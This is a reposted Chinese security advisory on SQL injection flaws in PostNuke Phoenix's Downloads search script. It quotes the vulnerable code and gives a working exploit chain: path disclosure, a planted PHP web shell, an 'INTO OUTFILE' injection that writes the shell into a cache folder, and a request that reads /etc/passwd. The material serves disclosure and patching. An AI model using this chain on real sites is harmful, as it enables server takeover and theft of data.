PostNuke多个脚本远程SQL注入漏洞

2008-04-09 04:24:47来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

PostNuke多个脚本远程SQL注入漏洞

发布日期:2005-02-28
更新日期:2005-03-04

受影响系统:
PostNuke PostNuke Phoenix 0.760-RC2
PostNuke PostNuke Phoenix 0.750
描述:
BUGTRAQ ID: 12684

PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke多个脚本对用户提交的参数缺少充分过滤,远程攻击者可以利用这个漏洞进行SQL注入攻击,可能获得敏感信息或修改数据库。

问题一是modules/Downloads/dl-search.php的search()函数存在SQL注入:

- -51-68---
if ($show!="") {
$downloadsresults = $show;
} else {
$show=$downloadsresults;
}
//$query = stripslashes($query);
$column = &$pntable['downloads_downloads_column'];
$sql = "SELECT $column[lid], $column[cid], $column[sid],
$column[title], $column[url], $column[description],
$column[date], $column[hits], \
$column[downloadratingsummary], $column[totalvotes], $column[totalcomments],
$column[filesize], $column[version], $column[homepage]
FROM $pntable[downloads_downloads]
WHERE $column[title] LIKE \
'%".pnVarPrepForStore($query)."%'
OR $column[description] LIKE \
'%".pnVarPrepForStore($query)."%'
ORDER BY $pntable[downloads_downloads].$orderby";

$result = $dbconn->SelectLimit($sql, $downloadsresults, (int)$min);

问题存在于$show变量,提交如下URL:

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3

会显示如下错误信息:

- ---------------
Fatal error: Call to a member function PO_RecordCount() on a non-object in \
/www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line \
74
- ---------------

由于这个SQL注入在ORDER BY之后,不能使用UNION,但检查这个漏洞:

先检查PostNuke路径:

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3

Error message :
- ---------------
Fatal error: Call to a member function PO_RecordCount() on a non-object in \
/www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line \
74
- ---------------

如前缀为/www/PostNuke-0.760-RC2/html/。

现在增加新的downloadinsert到"Description"或"Home page" php代码,如:

- ---
<? system($_GET[cx]); ?>
- ---

这个download存在于db中,进入:

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=[Program \
name]&show=10 INTO OUTFILE '/[PATH]/pnTemp/Xanthia_cache/cXIb8O3.php'/*

就可以执行如下URL:

http://[HOST]/[DIR]/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd

问题二是对$orderby缺少正确过滤,提交如下请求可进行SQL注入攻击:

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&orderby=

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110962710805864&w=2
*>

建议:
厂商补丁:

PostNuke
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.postnuke.com/

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Mozilla Firefox安装方式远程执行任意代码漏洞

下一篇:Form Mail Script远程文件包含执行任意命令漏洞